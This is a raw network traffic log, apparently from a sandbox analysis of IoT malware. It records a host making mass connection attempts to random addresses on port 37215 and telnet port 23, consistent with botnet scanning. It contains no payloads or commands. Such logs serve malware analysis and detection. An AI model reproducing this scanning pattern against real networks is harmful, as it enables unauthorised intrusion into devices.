Jan 5, 2025 14:26:57.685102940 CET	56446	37215	192.168.2.13	156.82.97.226
Jan 5, 2025 14:26:57.685101986 CET	56446	37215	192.168.2.13	156.12.13.33
Jan 5, 2025 14:26:57.685101986 CET	56446	37215	192.168.2.13	41.24.166.212
Jan 5, 2025 14:26:57.685102940 CET	56446	37215	192.168.2.13	197.182.99.61
Jan 5, 2025 14:26:57.685101986 CET	56446	37215	192.168.2.13	156.241.191.30
Jan 5, 2025 14:26:57.685102940 CET	56446	37215	192.168.2.13	197.134.195.63
Jan 5, 2025 14:26:57.685101986 CET	56446	37215	192.168.2.13	197.187.202.158
Jan 5, 2025 14:26:57.685101986 CET	56446	37215	192.168.2.13	156.17.246.251
Jan 5, 2025 14:26:57.685103893 CET	56446	37215	192.168.2.13	41.72.116.186
Jan 5, 2025 14:26:57.685103893 CET	56446	37215	192.168.2.13	41.151.52.220
Jan 5, 2025 14:26:57.685118914 CET	56446	37215	192.168.2.13	156.143.211.227
Jan 5, 2025 14:26:57.685121059 CET	56446	37215	192.168.2.13	197.159.10.255
Jan 5, 2025 14:26:57.685121059 CET	56446	37215	192.168.2.13	41.203.138.143
Jan 5, 2025 14:26:57.685123920 CET	56446	37215	192.168.2.13	197.236.103.103
Jan 5, 2025 14:26:57.685123920 CET	56446	37215	192.168.2.13	197.138.83.97
Jan 5, 2025 14:26:57.685127020 CET	56446	37215	192.168.2.13	41.55.95.78
Jan 5, 2025 14:26:57.685127020 CET	56446	37215	192.168.2.13	41.2.7.202
Jan 5, 2025 14:26:57.685127020 CET	56446	37215	192.168.2.13	197.68.254.126
Jan 5, 2025 14:26:57.685137033 CET	56446	37215	192.168.2.13	197.191.229.7
Jan 5, 2025 14:26:57.685138941 CET	56446	37215	192.168.2.13	156.255.188.114
Jan 5, 2025 14:26:57.685138941 CET	56446	37215	192.168.2.13	197.156.122.29
Jan 5, 2025 14:26:57.685138941 CET	56446	37215	192.168.2.13	41.141.119.123
Jan 5, 2025 14:26:57.685139894 CET	56446	37215	192.168.2.13	156.201.67.45
Jan 5, 2025 14:26:57.685139894 CET	56446	37215	192.168.2.13	41.226.25.159
Jan 5, 2025 14:26:57.685142994 CET	56446	37215	192.168.2.13	156.19.28.41
Jan 5, 2025 14:26:57.685148954 CET	56446	37215	192.168.2.13	156.104.200.57
Jan 5, 2025 14:26:57.685149908 CET	56446	37215	192.168.2.13	197.92.152.78
Jan 5, 2025 14:26:57.685149908 CET	56446	37215	192.168.2.13	41.152.142.132
Jan 5, 2025 14:26:57.685163975 CET	56446	37215	192.168.2.13	156.63.102.62
Jan 5, 2025 14:26:57.685163975 CET	56446	37215	192.168.2.13	156.216.202.194
Jan 5, 2025 14:26:57.685163975 CET	56446	37215	192.168.2.13	197.142.50.110
Jan 5, 2025 14:26:57.685164928 CET	56446	37215	192.168.2.13	197.77.124.133
Jan 5, 2025 14:26:57.685164928 CET	56446	37215	192.168.2.13	41.19.0.161
Jan 5, 2025 14:26:57.685175896 CET	56446	37215	192.168.2.13	197.47.144.187
Jan 5, 2025 14:26:57.685175896 CET	56446	37215	192.168.2.13	41.74.26.71
Jan 5, 2025 14:26:57.685189009 CET	56446	37215	192.168.2.13	41.184.68.217
Jan 5, 2025 14:26:57.685194016 CET	56446	37215	192.168.2.13	197.93.135.205
Jan 5, 2025 14:26:57.685194016 CET	56446	37215	192.168.2.13	156.180.133.89
Jan 5, 2025 14:26:57.685197115 CET	56446	37215	192.168.2.13	156.114.205.207
Jan 5, 2025 14:26:57.685197115 CET	56446	37215	192.168.2.13	41.142.174.202
Jan 5, 2025 14:26:57.685197115 CET	56446	37215	192.168.2.13	197.189.115.5
Jan 5, 2025 14:26:57.685197115 CET	56446	37215	192.168.2.13	197.102.126.66
Jan 5, 2025 14:26:57.685205936 CET	56446	37215	192.168.2.13	156.172.11.18
Jan 5, 2025 14:26:57.685206890 CET	56446	37215	192.168.2.13	197.19.41.74
Jan 5, 2025 14:26:57.685206890 CET	56446	37215	192.168.2.13	156.35.52.76
Jan 5, 2025 14:26:57.685208082 CET	56446	37215	192.168.2.13	156.136.114.42
Jan 5, 2025 14:26:57.685208082 CET	56446	37215	192.168.2.13	197.218.179.40
Jan 5, 2025 14:26:57.685209036 CET	56446	37215	192.168.2.13	197.171.125.145
Jan 5, 2025 14:26:57.685209990 CET	56446	37215	192.168.2.13	156.104.131.207
Jan 5, 2025 14:26:57.685211897 CET	56446	37215	192.168.2.13	41.55.15.68
Jan 5, 2025 14:26:57.685213089 CET	56446	37215	192.168.2.13	41.208.116.71
Jan 5, 2025 14:26:57.685220003 CET	56446	37215	192.168.2.13	41.255.38.73
Jan 5, 2025 14:26:57.685221910 CET	56446	37215	192.168.2.13	156.238.197.129
Jan 5, 2025 14:26:57.685221910 CET	56446	37215	192.168.2.13	156.222.21.201
Jan 5, 2025 14:26:57.685226917 CET	56446	37215	192.168.2.13	197.11.107.167
Jan 5, 2025 14:26:57.685226917 CET	56446	37215	192.168.2.13	41.183.42.51
Jan 5, 2025 14:26:57.685229063 CET	56446	37215	192.168.2.13	156.176.219.7
Jan 5, 2025 14:26:57.685229063 CET	56446	37215	192.168.2.13	156.168.151.95
Jan 5, 2025 14:26:57.685229063 CET	56446	37215	192.168.2.13	156.166.104.148
Jan 5, 2025 14:26:57.685231924 CET	56446	37215	192.168.2.13	41.42.46.59
Jan 5, 2025 14:26:57.685247898 CET	56446	37215	192.168.2.13	197.30.105.194
Jan 5, 2025 14:26:57.685250044 CET	56446	37215	192.168.2.13	197.79.71.229
Jan 5, 2025 14:26:57.685251951 CET	56446	37215	192.168.2.13	197.188.143.119
Jan 5, 2025 14:26:57.685251951 CET	56446	37215	192.168.2.13	156.18.105.120
Jan 5, 2025 14:26:57.685252905 CET	56446	37215	192.168.2.13	156.21.115.246
Jan 5, 2025 14:26:57.685254097 CET	56446	37215	192.168.2.13	197.114.210.109
Jan 5, 2025 14:26:57.685254097 CET	56446	37215	192.168.2.13	41.226.166.47
Jan 5, 2025 14:26:57.685254097 CET	56446	37215	192.168.2.13	197.109.76.167
Jan 5, 2025 14:26:57.685255051 CET	56446	37215	192.168.2.13	156.22.111.134
Jan 5, 2025 14:26:57.685262918 CET	56446	37215	192.168.2.13	197.236.22.98
Jan 5, 2025 14:26:57.685262918 CET	56446	37215	192.168.2.13	156.7.220.232
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	156.50.19.6
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	156.148.186.234
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	197.214.54.206
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	197.163.16.163
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	197.115.187.28
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	197.22.225.222
Jan 5, 2025 14:26:57.685266018 CET	56446	37215	192.168.2.13	41.121.18.84
Jan 5, 2025 14:26:57.685266972 CET	56446	37215	192.168.2.13	41.166.71.78
Jan 5, 2025 14:26:57.685266018 CET	56446	37215	192.168.2.13	156.128.17.58
Jan 5, 2025 14:26:57.685264111 CET	56446	37215	192.168.2.13	197.237.52.195
Jan 5, 2025 14:26:57.685269117 CET	56446	37215	192.168.2.13	41.243.204.226
Jan 5, 2025 14:26:57.685278893 CET	56446	37215	192.168.2.13	197.118.27.193
Jan 5, 2025 14:26:57.685278893 CET	56446	37215	192.168.2.13	197.201.139.39
Jan 5, 2025 14:26:57.685286999 CET	56446	37215	192.168.2.13	41.77.47.242
Jan 5, 2025 14:26:57.685286999 CET	56446	37215	192.168.2.13	197.211.22.116
Jan 5, 2025 14:26:57.685287952 CET	56446	37215	192.168.2.13	41.233.67.90
Jan 5, 2025 14:26:57.685302973 CET	56446	37215	192.168.2.13	197.137.47.229
Jan 5, 2025 14:26:57.685305119 CET	56446	37215	192.168.2.13	41.37.146.79
Jan 5, 2025 14:26:57.685396910 CET	39368	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:57.685398102 CET	39368	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:57.685405970 CET	39490	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:57.685435057 CET	48552	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:57.685441971 CET	53400	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:57.685441971 CET	53400	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:57.685446024 CET	48014	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:57.685446024 CET	48014	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:57.685487032 CET	53944	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:57.690166950 CET	37215	39368	197.39.42.34	192.168.2.13
Jan 5, 2025 14:26:57.690345049 CET	80	53400	212.7.199.36	192.168.2.13
Jan 5, 2025 14:26:57.690356016 CET	80	48014	204.72.238.16	192.168.2.13
Jan 5, 2025 14:26:57.700819969 CET	80	42536	82.20.236.77	192.168.2.13
Jan 5, 2025 14:26:57.711664915 CET	43364	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:57.711666107 CET	59182	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:57.711667061 CET	57364	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.716480017 CET	37215	59182	197.255.23.109	192.168.2.13
Jan 5, 2025 14:26:57.716490030 CET	37215	57364	197.19.140.10	192.168.2.13
Jan 5, 2025 14:26:57.716499090 CET	37215	43364	41.180.26.32	192.168.2.13
Jan 5, 2025 14:26:57.716557026 CET	43364	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:57.716557026 CET	43364	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:57.716557980 CET	57364	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.716557980 CET	59182	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:57.716586113 CET	59182	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:57.716628075 CET	57364	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.716628075 CET	57364	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.716675043 CET	57488	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.721369982 CET	37215	57364	197.19.140.10	192.168.2.13
Jan 5, 2025 14:26:57.721508026 CET	37215	57488	197.19.140.10	192.168.2.13
Jan 5, 2025 14:26:57.721550941 CET	57488	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.721550941 CET	57488	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.721822977 CET	37215	59182	197.255.23.109	192.168.2.13
Jan 5, 2025 14:26:57.721940994 CET	59182	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:57.722075939 CET	37215	43364	41.180.26.32	192.168.2.13
Jan 5, 2025 14:26:57.722120047 CET	43364	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:57.726507902 CET	37215	57488	197.19.140.10	192.168.2.13
Jan 5, 2025 14:26:57.726555109 CET	57488	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:57.737284899 CET	80	53400	212.7.199.36	192.168.2.13
Jan 5, 2025 14:26:57.737303019 CET	80	48014	204.72.238.16	192.168.2.13
Jan 5, 2025 14:26:57.737310886 CET	37215	39368	197.39.42.34	192.168.2.13
Jan 5, 2025 14:26:57.764786959 CET	37215	57364	197.19.140.10	192.168.2.13
Jan 5, 2025 14:26:57.969022036 CET	23	52330	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:57.969125032 CET	57214	23	192.168.2.13	96.129.27.199
Jan 5, 2025 14:26:57.969131947 CET	52640	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:57.969132900 CET	57214	23	192.168.2.13	133.1.58.254
Jan 5, 2025 14:26:57.969135046 CET	52330	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:57.969135046 CET	57214	23	192.168.2.13	168.93.42.111
Jan 5, 2025 14:26:57.969136000 CET	57214	23	192.168.2.13	59.159.46.25
Jan 5, 2025 14:26:57.969135046 CET	57214	23	192.168.2.13	98.214.219.183
Jan 5, 2025 14:26:57.969144106 CET	57214	23	192.168.2.13	72.158.131.209
Jan 5, 2025 14:26:57.969145060 CET	57214	23	192.168.2.13	189.232.139.194
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	44.164.47.150
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	174.112.238.78
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	200.41.98.44
Jan 5, 2025 14:26:57.969150066 CET	57214	23	192.168.2.13	45.233.34.90
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	98.112.111.125
Jan 5, 2025 14:26:57.969153881 CET	57214	23	192.168.2.13	65.123.247.4
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	42.154.76.25
Jan 5, 2025 14:26:57.969156981 CET	57214	23	192.168.2.13	116.86.212.123
Jan 5, 2025 14:26:57.969149113 CET	57214	23	192.168.2.13	186.243.206.126
Jan 5, 2025 14:26:57.969161987 CET	57214	23	192.168.2.13	24.71.14.41
Jan 5, 2025 14:26:57.969166994 CET	57214	23	192.168.2.13	151.213.120.243
Jan 5, 2025 14:26:57.969172001 CET	57214	23	192.168.2.13	62.207.64.117
Jan 5, 2025 14:26:57.969172001 CET	57214	23	192.168.2.13	184.221.199.197
Jan 5, 2025 14:26:57.969172001 CET	57214	23	192.168.2.13	219.56.23.253
Jan 5, 2025 14:26:57.969172001 CET	57214	23	192.168.2.13	202.81.102.135
Jan 5, 2025 14:26:57.969177008 CET	57214	23	192.168.2.13	94.234.51.125
Jan 5, 2025 14:26:57.969177008 CET	57214	23	192.168.2.13	65.196.226.130
Jan 5, 2025 14:26:57.969185114 CET	57214	23	192.168.2.13	144.220.154.183
Jan 5, 2025 14:26:57.969186068 CET	57214	23	192.168.2.13	136.71.151.126
Jan 5, 2025 14:26:57.969186068 CET	57214	23	192.168.2.13	84.100.207.204
Jan 5, 2025 14:26:57.969187021 CET	57214	23	192.168.2.13	135.105.222.179
Jan 5, 2025 14:26:57.969187021 CET	57214	23	192.168.2.13	4.114.137.144
Jan 5, 2025 14:26:57.969191074 CET	57214	23	192.168.2.13	123.127.245.59
Jan 5, 2025 14:26:57.969192982 CET	57214	23	192.168.2.13	84.148.116.198
Jan 5, 2025 14:26:57.969192982 CET	57214	23	192.168.2.13	140.150.163.15
Jan 5, 2025 14:26:57.969193935 CET	57214	23	192.168.2.13	123.55.41.26
Jan 5, 2025 14:26:57.969201088 CET	57214	23	192.168.2.13	179.0.213.92
Jan 5, 2025 14:26:57.969208002 CET	57214	23	192.168.2.13	89.65.144.235
Jan 5, 2025 14:26:57.969209909 CET	57214	23	192.168.2.13	4.134.123.234
Jan 5, 2025 14:26:57.969211102 CET	57214	23	192.168.2.13	46.115.246.42
Jan 5, 2025 14:26:57.969213963 CET	57214	23	192.168.2.13	109.223.140.247
Jan 5, 2025 14:26:57.969211102 CET	57214	23	192.168.2.13	37.139.124.191
Jan 5, 2025 14:26:57.969214916 CET	57214	23	192.168.2.13	153.164.154.77
Jan 5, 2025 14:26:57.969214916 CET	57214	23	192.168.2.13	131.245.129.26
Jan 5, 2025 14:26:57.969211102 CET	57214	23	192.168.2.13	91.254.4.149
Jan 5, 2025 14:26:57.969222069 CET	57214	23	192.168.2.13	129.237.153.226
Jan 5, 2025 14:26:57.969224930 CET	57214	23	192.168.2.13	18.78.57.235
Jan 5, 2025 14:26:57.969224930 CET	57214	23	192.168.2.13	155.82.245.76
Jan 5, 2025 14:26:57.969224930 CET	57214	23	192.168.2.13	187.249.88.84
Jan 5, 2025 14:26:57.969235897 CET	57214	23	192.168.2.13	147.16.226.102
Jan 5, 2025 14:26:57.969237089 CET	57214	23	192.168.2.13	87.167.70.96
Jan 5, 2025 14:26:57.969238043 CET	57214	23	192.168.2.13	101.53.137.141
Jan 5, 2025 14:26:57.969238997 CET	57214	23	192.168.2.13	32.101.21.192
Jan 5, 2025 14:26:57.969269991 CET	57214	23	192.168.2.13	175.31.155.91
Jan 5, 2025 14:26:57.969269991 CET	57214	23	192.168.2.13	43.222.57.11
Jan 5, 2025 14:26:57.969269991 CET	57214	23	192.168.2.13	174.247.151.208
Jan 5, 2025 14:26:57.969271898 CET	57214	23	192.168.2.13	152.33.95.53
Jan 5, 2025 14:26:57.969271898 CET	57214	23	192.168.2.13	153.74.45.249
Jan 5, 2025 14:26:57.969271898 CET	57214	23	192.168.2.13	158.117.1.186
Jan 5, 2025 14:26:57.969271898 CET	57214	23	192.168.2.13	174.111.244.151
Jan 5, 2025 14:26:57.969273090 CET	57214	23	192.168.2.13	110.210.53.218
Jan 5, 2025 14:26:57.969273090 CET	57214	23	192.168.2.13	147.101.59.17
Jan 5, 2025 14:26:57.969274044 CET	57214	23	192.168.2.13	195.128.231.43
Jan 5, 2025 14:26:57.969279051 CET	57214	23	192.168.2.13	200.165.26.199
Jan 5, 2025 14:26:57.969290972 CET	57214	23	192.168.2.13	217.61.128.83
Jan 5, 2025 14:26:57.969296932 CET	57214	23	192.168.2.13	145.76.9.217
Jan 5, 2025 14:26:57.969296932 CET	57214	23	192.168.2.13	74.28.154.48
Jan 5, 2025 14:26:57.969299078 CET	57214	23	192.168.2.13	148.23.99.62
Jan 5, 2025 14:26:57.969300985 CET	57214	23	192.168.2.13	111.152.206.175
Jan 5, 2025 14:26:57.969300985 CET	57214	23	192.168.2.13	211.4.41.225
Jan 5, 2025 14:26:57.969300985 CET	57214	23	192.168.2.13	45.62.55.209
Jan 5, 2025 14:26:57.969300985 CET	57214	23	192.168.2.13	147.205.236.226
Jan 5, 2025 14:26:57.969310045 CET	57214	23	192.168.2.13	78.96.42.84
Jan 5, 2025 14:26:57.969310045 CET	57214	23	192.168.2.13	23.211.1.138
Jan 5, 2025 14:26:57.969310045 CET	57214	23	192.168.2.13	116.150.217.103
Jan 5, 2025 14:26:57.969310045 CET	57214	23	192.168.2.13	60.134.38.128
Jan 5, 2025 14:26:57.969314098 CET	57214	23	192.168.2.13	52.161.114.44
Jan 5, 2025 14:26:57.969314098 CET	57214	23	192.168.2.13	87.48.0.141
Jan 5, 2025 14:26:57.969314098 CET	57214	23	192.168.2.13	170.191.28.219
Jan 5, 2025 14:26:57.969314098 CET	57214	23	192.168.2.13	129.38.127.235
Jan 5, 2025 14:26:57.969314098 CET	57214	23	192.168.2.13	197.182.141.56
Jan 5, 2025 14:26:57.969316006 CET	57214	23	192.168.2.13	93.196.246.181
Jan 5, 2025 14:26:57.969319105 CET	57214	23	192.168.2.13	32.213.150.157
Jan 5, 2025 14:26:57.969319105 CET	57214	23	192.168.2.13	5.44.158.215
Jan 5, 2025 14:26:57.969324112 CET	57214	23	192.168.2.13	80.190.210.202
Jan 5, 2025 14:26:57.969326019 CET	57214	23	192.168.2.13	117.176.64.184
Jan 5, 2025 14:26:57.969327927 CET	57214	23	192.168.2.13	49.227.81.217
Jan 5, 2025 14:26:57.969327927 CET	57214	23	192.168.2.13	173.1.165.248
Jan 5, 2025 14:26:57.969331026 CET	57214	23	192.168.2.13	112.200.58.101
Jan 5, 2025 14:26:57.969333887 CET	57214	23	192.168.2.13	205.150.30.91
Jan 5, 2025 14:26:57.969333887 CET	57214	23	192.168.2.13	102.110.85.202
Jan 5, 2025 14:26:57.969331026 CET	57214	23	192.168.2.13	190.170.230.33
Jan 5, 2025 14:26:57.969331026 CET	57214	23	192.168.2.13	143.102.127.91
Jan 5, 2025 14:26:57.969331026 CET	57214	23	192.168.2.13	179.177.96.106
Jan 5, 2025 14:26:57.969336987 CET	57214	23	192.168.2.13	212.161.242.27
Jan 5, 2025 14:26:57.969336987 CET	57214	23	192.168.2.13	145.9.173.189
Jan 5, 2025 14:26:57.969341040 CET	57214	23	192.168.2.13	42.87.219.0
Jan 5, 2025 14:26:57.969341993 CET	57214	23	192.168.2.13	159.106.109.25
Jan 5, 2025 14:26:57.969353914 CET	57214	23	192.168.2.13	149.51.127.90
Jan 5, 2025 14:26:57.969357967 CET	57214	23	192.168.2.13	209.175.2.186
Jan 5, 2025 14:26:57.969362974 CET	57214	23	192.168.2.13	175.213.232.44
Jan 5, 2025 14:26:57.969363928 CET	57214	23	192.168.2.13	53.141.176.199
Jan 5, 2025 14:26:57.969367027 CET	57214	23	192.168.2.13	216.9.252.3
Jan 5, 2025 14:26:57.969377041 CET	57214	23	192.168.2.13	75.237.8.175
Jan 5, 2025 14:26:57.969384909 CET	57214	23	192.168.2.13	70.100.199.217
Jan 5, 2025 14:26:57.969384909 CET	57214	23	192.168.2.13	107.66.196.144
Jan 5, 2025 14:26:57.969388962 CET	57214	23	192.168.2.13	66.36.149.247
Jan 5, 2025 14:26:57.969388962 CET	57214	23	192.168.2.13	5.66.129.50
Jan 5, 2025 14:26:57.969388962 CET	57214	23	192.168.2.13	165.198.38.17
Jan 5, 2025 14:26:57.969389915 CET	57214	23	192.168.2.13	60.108.109.126
Jan 5, 2025 14:26:57.969389915 CET	57214	23	192.168.2.13	36.58.6.17
Jan 5, 2025 14:26:57.969389915 CET	57214	23	192.168.2.13	174.237.234.93
Jan 5, 2025 14:26:57.969392061 CET	57214	23	192.168.2.13	169.59.180.90
Jan 5, 2025 14:26:57.969392061 CET	57214	23	192.168.2.13	102.83.86.3
Jan 5, 2025 14:26:57.969393015 CET	57214	23	192.168.2.13	131.204.140.200
Jan 5, 2025 14:26:57.969398975 CET	57214	23	192.168.2.13	146.138.169.170
Jan 5, 2025 14:26:57.969403982 CET	57214	23	192.168.2.13	84.49.181.193
Jan 5, 2025 14:26:57.969417095 CET	57214	23	192.168.2.13	210.239.204.249
Jan 5, 2025 14:26:57.969420910 CET	57214	23	192.168.2.13	147.136.229.108
Jan 5, 2025 14:26:57.969424009 CET	57214	23	192.168.2.13	119.242.107.192
Jan 5, 2025 14:26:57.969424009 CET	57214	23	192.168.2.13	49.221.231.196
Jan 5, 2025 14:26:57.969424009 CET	57214	23	192.168.2.13	77.184.89.183
Jan 5, 2025 14:26:57.969424963 CET	57214	23	192.168.2.13	4.249.159.207
Jan 5, 2025 14:26:57.969424009 CET	57214	23	192.168.2.13	196.160.16.242
Jan 5, 2025 14:26:57.969424963 CET	57214	23	192.168.2.13	27.99.241.170
Jan 5, 2025 14:26:57.969428062 CET	57214	23	192.168.2.13	126.105.49.82
Jan 5, 2025 14:26:57.969424963 CET	57214	23	192.168.2.13	119.171.18.215
Jan 5, 2025 14:26:57.969429016 CET	57214	23	192.168.2.13	71.94.63.95
Jan 5, 2025 14:26:57.969428062 CET	57214	23	192.168.2.13	200.110.13.130
Jan 5, 2025 14:26:57.969429016 CET	57214	23	192.168.2.13	27.144.2.172
Jan 5, 2025 14:26:57.969434977 CET	57214	23	192.168.2.13	185.54.17.172
Jan 5, 2025 14:26:57.969434977 CET	57214	23	192.168.2.13	94.195.235.160
Jan 5, 2025 14:26:57.969443083 CET	57214	23	192.168.2.13	130.206.249.206
Jan 5, 2025 14:26:57.969451904 CET	57214	23	192.168.2.13	81.152.193.249
Jan 5, 2025 14:26:57.969453096 CET	57214	23	192.168.2.13	79.38.254.22
Jan 5, 2025 14:26:57.969453096 CET	57214	23	192.168.2.13	75.141.129.29
Jan 5, 2025 14:26:57.969454050 CET	57214	23	192.168.2.13	75.138.89.116
Jan 5, 2025 14:26:57.969454050 CET	57214	23	192.168.2.13	41.18.124.19
Jan 5, 2025 14:26:57.969456911 CET	57214	23	192.168.2.13	117.111.73.56
Jan 5, 2025 14:26:57.969463110 CET	57214	23	192.168.2.13	87.224.247.72
Jan 5, 2025 14:26:57.969469070 CET	57214	23	192.168.2.13	108.67.141.82
Jan 5, 2025 14:26:57.969477892 CET	57214	23	192.168.2.13	90.253.203.47
Jan 5, 2025 14:26:57.969477892 CET	57214	23	192.168.2.13	50.10.84.234
Jan 5, 2025 14:26:57.969479084 CET	57214	23	192.168.2.13	105.217.248.153
Jan 5, 2025 14:26:57.969477892 CET	57214	23	192.168.2.13	96.244.87.59
Jan 5, 2025 14:26:57.969480991 CET	57214	23	192.168.2.13	159.49.90.180
Jan 5, 2025 14:26:57.969482899 CET	57214	23	192.168.2.13	124.156.141.217
Jan 5, 2025 14:26:57.969482899 CET	57214	23	192.168.2.13	189.181.29.78
Jan 5, 2025 14:26:57.969482899 CET	57214	23	192.168.2.13	66.121.32.136
Jan 5, 2025 14:26:57.969490051 CET	57214	23	192.168.2.13	120.220.41.194
Jan 5, 2025 14:26:57.969495058 CET	57214	23	192.168.2.13	113.249.28.130
Jan 5, 2025 14:26:57.969496965 CET	57214	23	192.168.2.13	188.157.150.150
Jan 5, 2025 14:26:57.969497919 CET	57214	23	192.168.2.13	67.45.182.184
Jan 5, 2025 14:26:57.969497919 CET	57214	23	192.168.2.13	173.226.64.63
Jan 5, 2025 14:26:57.969497919 CET	57214	23	192.168.2.13	148.168.242.148
Jan 5, 2025 14:26:57.969497919 CET	57214	23	192.168.2.13	115.64.1.50
Jan 5, 2025 14:26:57.969500065 CET	57214	23	192.168.2.13	174.181.58.194
Jan 5, 2025 14:26:57.969502926 CET	57214	23	192.168.2.13	130.173.60.84
Jan 5, 2025 14:26:57.969504118 CET	57214	23	192.168.2.13	199.160.206.29
Jan 5, 2025 14:26:57.969504118 CET	57214	23	192.168.2.13	94.113.1.127
Jan 5, 2025 14:26:57.969504118 CET	57214	23	192.168.2.13	5.89.11.62
Jan 5, 2025 14:26:57.969504118 CET	57214	23	192.168.2.13	141.23.36.228
Jan 5, 2025 14:26:57.969506979 CET	57214	23	192.168.2.13	172.111.64.141
Jan 5, 2025 14:26:57.969510078 CET	57214	23	192.168.2.13	118.134.169.199
Jan 5, 2025 14:26:57.969512939 CET	57214	23	192.168.2.13	205.10.119.212
Jan 5, 2025 14:26:57.969533920 CET	57214	23	192.168.2.13	80.232.38.244
Jan 5, 2025 14:26:57.969535112 CET	57214	23	192.168.2.13	192.180.254.166
Jan 5, 2025 14:26:57.969538927 CET	57214	23	192.168.2.13	64.161.194.168
Jan 5, 2025 14:26:57.969538927 CET	57214	23	192.168.2.13	178.36.90.240
Jan 5, 2025 14:26:57.969542027 CET	57214	23	192.168.2.13	120.70.86.239
Jan 5, 2025 14:26:57.969547987 CET	57214	23	192.168.2.13	49.227.210.184
Jan 5, 2025 14:26:57.969558001 CET	57214	23	192.168.2.13	115.203.62.81
Jan 5, 2025 14:26:57.969558954 CET	57214	23	192.168.2.13	41.62.51.33
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	43.202.20.71
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	209.190.169.43
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	174.177.57.177
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	184.28.140.89
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	27.191.49.205
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	115.12.4.107
Jan 5, 2025 14:26:57.969563961 CET	57214	23	192.168.2.13	84.23.200.231
Jan 5, 2025 14:26:57.969566107 CET	57214	23	192.168.2.13	88.131.46.119
Jan 5, 2025 14:26:57.969568968 CET	57214	23	192.168.2.13	165.247.129.96
Jan 5, 2025 14:26:57.969568968 CET	57214	23	192.168.2.13	194.50.140.126
Jan 5, 2025 14:26:57.969569921 CET	57214	23	192.168.2.13	109.96.28.178
Jan 5, 2025 14:26:57.969569921 CET	57214	23	192.168.2.13	176.31.157.0
Jan 5, 2025 14:26:57.969569921 CET	57214	23	192.168.2.13	203.112.49.30
Jan 5, 2025 14:26:57.969569921 CET	57214	23	192.168.2.13	12.144.53.82
Jan 5, 2025 14:26:57.969573021 CET	57214	23	192.168.2.13	175.172.2.246
Jan 5, 2025 14:26:57.969569921 CET	57214	23	192.168.2.13	92.174.213.214
Jan 5, 2025 14:26:57.969573021 CET	57214	23	192.168.2.13	142.121.113.148
Jan 5, 2025 14:26:57.969583035 CET	57214	23	192.168.2.13	217.175.59.248
Jan 5, 2025 14:26:57.969585896 CET	57214	23	192.168.2.13	157.7.63.229
Jan 5, 2025 14:26:57.969585896 CET	57214	23	192.168.2.13	187.246.44.220
Jan 5, 2025 14:26:57.969585896 CET	57214	23	192.168.2.13	5.240.234.137
Jan 5, 2025 14:26:57.969588995 CET	57214	23	192.168.2.13	213.42.55.114
Jan 5, 2025 14:26:57.969588995 CET	57214	23	192.168.2.13	211.180.107.0
Jan 5, 2025 14:26:57.969590902 CET	57214	23	192.168.2.13	58.183.26.103
Jan 5, 2025 14:26:57.969590902 CET	57214	23	192.168.2.13	103.214.157.28
Jan 5, 2025 14:26:57.969607115 CET	57214	23	192.168.2.13	171.81.86.16
Jan 5, 2025 14:26:57.969607115 CET	57214	23	192.168.2.13	90.129.15.222
Jan 5, 2025 14:26:57.969607115 CET	57214	23	192.168.2.13	182.68.153.223
Jan 5, 2025 14:26:57.969607115 CET	57214	23	192.168.2.13	123.228.223.71
Jan 5, 2025 14:26:57.969609022 CET	57214	23	192.168.2.13	48.89.72.113
Jan 5, 2025 14:26:57.969609976 CET	57214	23	192.168.2.13	69.48.210.234
Jan 5, 2025 14:26:57.969609976 CET	57214	23	192.168.2.13	69.180.61.223
Jan 5, 2025 14:26:57.969609976 CET	57214	23	192.168.2.13	210.253.218.175
Jan 5, 2025 14:26:57.969613075 CET	57214	23	192.168.2.13	166.83.133.75
Jan 5, 2025 14:26:57.969613075 CET	57214	23	192.168.2.13	75.164.54.46
